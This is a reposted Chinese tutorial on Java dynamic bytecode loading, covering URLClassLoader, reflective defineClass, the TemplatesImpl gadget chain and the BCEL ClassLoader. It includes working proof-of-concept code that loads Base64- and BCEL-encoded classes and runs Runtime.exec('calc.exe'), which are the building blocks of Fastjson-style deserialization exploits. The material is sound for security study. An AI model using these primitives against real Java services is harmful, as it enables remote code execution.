Java安全之动态加载字节码

Java字节码

简单说,Java字节码就是.class后缀的文件,里面存放Java虚拟机执行的指令。
由于Java是一门跨平台的编译型语言,所以可以适用于不同平台,不同CPU的计算机,开发者只需要将自己的代码编译一次,就可以运行在不同平台的JVM中。
甚至,开发者可以用类似Scala、Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文
件,都可以在JVM虚拟机中运行:
uploading-image-878441.png

URLClassLoader加载远程class文件

ClassLoader是一个加载器,就是用来告诉JVM虚拟机如何去加载这个类,默认的就是根据类名来加载类,这个类名需要是完整路径,比如说java.lang.Runtime

URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释
URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程

正常情况下,Java会根据配置项 sun.boot.class.pathjava.class.path 中列举到的基础路径(这
些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

使用Http协议测试,看Java是否能从远程HTTP服务器上加载.class文件:
先编译一个.class文件放在服务器上(这里用自己Python起个服务器,就是访问不到,气死)

public class Hello {
    public Evil() throws Exception {
        
    }
}

利用ClassLoader#defineClass直接加载字节码

其实,不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用

ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClass
  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上面说到的,可能会在
    本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

所以真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java
默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中

native方法称为本地方法。在java源程序中以关键字“native”声明,不提供函数体。
其实现使用C/C++语言在另外的文件中编写,编写的规则遵循Java本地接口的规范(简称JNI)。
简而言就是Java中声明的可调用的使用C/C++实现的方法。

例子:

package org.gk0d;

import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA"+
                        "Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs"+
                        "bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh"+
                        "L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry"+
                        "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n"+
                        "OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA"+
                        "AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
        Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length);
        hello.newInstance();
    }
}
//ClassLoader.getSystemClassLoader()返回系统的类加载器对象

里面是Hello.class的base64编码

注意:在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造
函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。
《Java安全之动态加载字节码》

因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得
不使用反射的形式来调用。
在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我
们常用的一个攻击链 TemplatesImpl 的基石。

利用TemplatesImpl加载字节码

前面分析了defineClass方法并不好直接利用,但是Java底层还是有一些类用到了它,这就是 TemplatesImpl ,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类
TransletClassLoader :

static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }

    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个
方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass 由其父类的
protected类型变成了一个default类型的方法,可以被类外部调用。

TransletClassLoader#defineClass() 向前追溯一下调用链:

TransletClassLoader#defineClass() 
-> TemplatesImpl#defineTransletClasses() 
-> TemplatesImpl#getTransletInstance() 
-> TemplatesImpl#newTransformer() 
-> TemplatesImpl#getOutputProperties()

先看TemplatesImpl#defineTransletClasses()方法:

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);//在这里调用了defineClass
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

但它是一个private方法,还是不能直接调用,继续往上看到getTransletInstance()

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();//此处调用defineTransletClasses方法

            // The translet needs to keep a reference to all its auxiliary class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet)
                    _class[_transletIndex].getConstructor().newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setOverrideDefaultParser(_overrideDefaultParser);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException | IllegalAccessException |
                NoSuchMethodException | InvocationTargetException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString(), e);
        }
    }

还是private方法,继续找到newTransformer()方法

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);//调用了getTransletInstance方法

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

是public方法了,可以直接调用,所以一条调用链就出来了

首先得设置TemplatesImpl对象的三个私有属性,这里我们用反射设置就行,三个属性:_bytecodes_name_tfactory

  • _name:为任意字符串,只要不是null才可以进入defineTransletClasses()
    《Java安全之动态加载字节码》
  • _bytecodes:由字节码组成的数组,用来存放恶意代码,其值不能为null
  • _tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用_tfactory.getExternalExtensionsMap() ,如果是null会出错

另外TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类
所以,我们需要构造一个特殊的类:

package org.gk0d;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    public HelloTemplatesImpl() {
        super();
        System.out.println("Hello TemplatesImpl");
    }
}

解释以下为什么多了两个transform方法

这里是因为子类需要实现父类里面的抽象方法,同时因为父类是抽象类,可能没有将接口的方法全部实现,
这时子类如果不是抽象的,那必须将其他接口方法都实现。
这里面 `transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)
是父类里面的抽象方法所以要重写
transform(DOM document, SerializationHandler[] handlers)是父类没有实现接口的方法所以要重写

同样将其编译为class文件,然后base64编码
最后就是写poc了,就新建一个TemplatesImpl对象,把属性设置进去然后执行newTransformer方法触发,主要是咱得先写一个利用反射给私有属性赋值的一个方法setFieldValue

package org.gk0d;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import java.lang.reflect.Field;
import java.util.Base64;

public class a {
    public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, Value);
    }

    public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
                "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
                "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
                "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
                "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
                "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
                "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
                "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
                "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
                "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
                "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
                "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
                "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
                "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
                "DwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}

《Java安全之动态加载字节码》

利用BCEL ClassLoader加载字节码

关于BCEL先看看p神的:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel

被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的
原生库中。

BCEL属于Apache Commons项目下的一个子项目,全名应Apache Commons BCE,它提供了一系列用于分析、修改和创建Java Class文件的API,从库功能来看,使用性远不及其他库,但被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中位com.sun.org.apache.bcel。

BCEL包中有com.sun.org.apache.bcel.internal.util.ClassLoader类,它是一个ClassLoader,但重写了Java内置的ClassLoader#LoadClass方法

在LoadClass中,会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode
来看一下decode的具体算法:

private static class JavaWriter extends FilterWriter {
    public JavaWriter(Writer out) {
      super(out);
    }

    public void write(int b) throws IOException {
      if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) {
        out.write(b);
      } else {
        out.write(ESCAPE_CHAR); // Escape character

        // Special escape
        if(b >= 0 && b < FREE_CHARS) {
          out.write(CHAR_MAP[b]);
        } else { // Normal escape
          char[] tmp = Integer.toHexString(b).toCharArray();

          if(tmp.length == 1) {
            out.write('0');
            out.write(tmp[0]);
          } else {
            out.write(tmp[0]);
            out.write(tmp[1]);
          }
        }
      }
    }

    public void write(char[] cbuf, int off, int len) throws IOException {
      for(int i=0; i < len; i++)
        write(cbuf[off + i]);
    }

    public void write(String str, int off, int len) throws IOException {
      write(str.toCharArray(), off, len);
    }
  }

可以理解为是传统字节码的16进制编码,然后将 \ 替换为 $ ,默认还会在最外层加上 GZip 压缩

边写恶意类

package org.gk0d;

import java.io.IOException;

public class calc{
    static  {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

然后通过BCEL提供的两个类Repositoryutility来利用:

Repository用于将一个Java Class先转换成原生字节码(也可以直接javac编译获得);

utility用于将原生字节码转换成BCEL格式的字节码
package org.gk0d;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class POP {
    public static void main(String[] args) throws Exception{
        JavaClass javaClass = Repository.lookupClass(calc.class);
        String code = Utility.encode(javaClass.getBytes(),true);
        System.out.println(code);
    }
}

《Java安全之动态加载字节码》

最后用BCEL ClassLoader加载这串特殊的字节码,并执行里面的代码:

package org.gk0d;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Test {
    public static void main(String[] args) throws Exception{
        c();
    }
    private static void b() throws Exception{
        JavaClass javaClass = Repository.lookupClass(a.class);
        String code = Utility.encode(javaClass.getBytes(),true);
        System.out.println(code);
    }
    private static void c() throws Exception {
        new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2P$Q$3d$X$K$z$b5$I$82$f8$7e$3f$c1$85l$dci$dc$YM$8c$f5$R$n$ba$be$5co$f0$o$b6$a4$5c$M$7f$e4$da$8d$g$X$7e$80$le$9c$5e$VM$b4Ig$3a$e7$cc93$93$be$bd$bf$bc$C$d8$c2$9a$L$H$e3$$$s0$e9$60$w$ce$d36f$5c$a40kc$ce$c6$3cCzG$FJ$ef2$q$cb$95$L$Gk$_$bc$92$M9_$F$f2$a4w$db$90Q$9d7$da$84$U$fcP$f0$f6$F$8fT$5c$7f$81$96$beV$5d$92$fa$7c$9b$c1$d9$R$ed$_$_F$5c$c9o$f1$3b$5eUa$f5$f0t$bf$_dG$ab0$a0$b6lMsqs$cc$3b$c6$83$d6apka$_$S$f2$40$c5$9ei$be$Z$L$3dd$e0$daX$f0$b0$88$r2$a7$e1bS$f6$a5$87e$ac0$U$ff1$f7$b0$K$97$86s$86$bc$a1$db$3chVO$h$z$v4$c3$c8$Pt$de$L$b4$ba$a5YnS$eaAQ$wW$fc$3f$3d$b4$b0ES$F$c3z$f9$X$5b$d3$91$K$9a$db$bf$FgQ$ud$b7K$82$5c$87Hm$ce$acG$5cH$ba$c0$a6$ff$Q$3f$J$b0$f8$$$8aCTU$v3$ca$a9$8d$t$b0$HC$7b$U$d3$GL$oK$d1$fbl$c00r$94$j$e4$Hbn$cc$80$c23$S$85$e4$p$ac$cb$7b8G$h$8fH$3f$Y$3cC$da$U$b9$c4$8ec$f4$V$fbf$Mj$93$b3$83$Rr$fa$9e$90$85Eu$81$aa$o$bd6$S$be$8dQ$8b$88$92Yj$ec$D$e5$e5$f0$NQ$C$A$A").newInstance();
    }
}

《Java安全之动态加载字节码》

代码进行简化后如下

package org.gk0d;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Test {
    public static void main(String[] args) throws Exception {


        JavaClass javaClass = Repository.lookupClass(calc.class);
        String code = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code);


        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();

    }
}

《Java安全之动态加载字节码》

总结

BCEL ClassLoader类和前面的
TemplatesImpl 都出自于同一个第三方库,Apache Xalan,在Fastjson等漏洞的利用链构造时都有被用到
还有一个重要的利用条件就是在Java 8u251的更新中,这个ClassLoader被移除了,所以之后只能在这个之前的版本才可以利用。

    原文作者:gk0d
    原文地址: https://www.cnblogs.com/gk0d/p/16880749.html
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